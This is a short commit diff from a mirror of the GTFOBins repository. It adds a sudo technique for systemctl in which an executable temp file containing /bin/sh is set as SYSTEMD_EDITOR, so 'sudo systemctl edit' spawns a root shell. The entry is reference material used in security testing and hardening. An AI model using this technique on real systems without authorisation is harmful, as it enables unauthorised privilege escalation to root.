mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-24 13:59:17 +01:00
parent
66655322f3
commit
aa08187718
@ -11,6 +11,11 @@ functions:
|
||||
./systemctl link $TF
|
||||
./systemctl enable --now $TF
|
||||
sudo:
|
||||
- code: |
|
||||
TF=$(mktemp)
|
||||
echo /bin/sh >$TF
|
||||
chmod +x $TF
|
||||
sudo SYSTEMD_EDITOR=$TF systemctl edit system.slice
|
||||
- code: |
|
||||
TF=$(mktemp).service
|
||||
echo '[Service]
|
||||
|
Loading…
Reference in New Issue
Block a user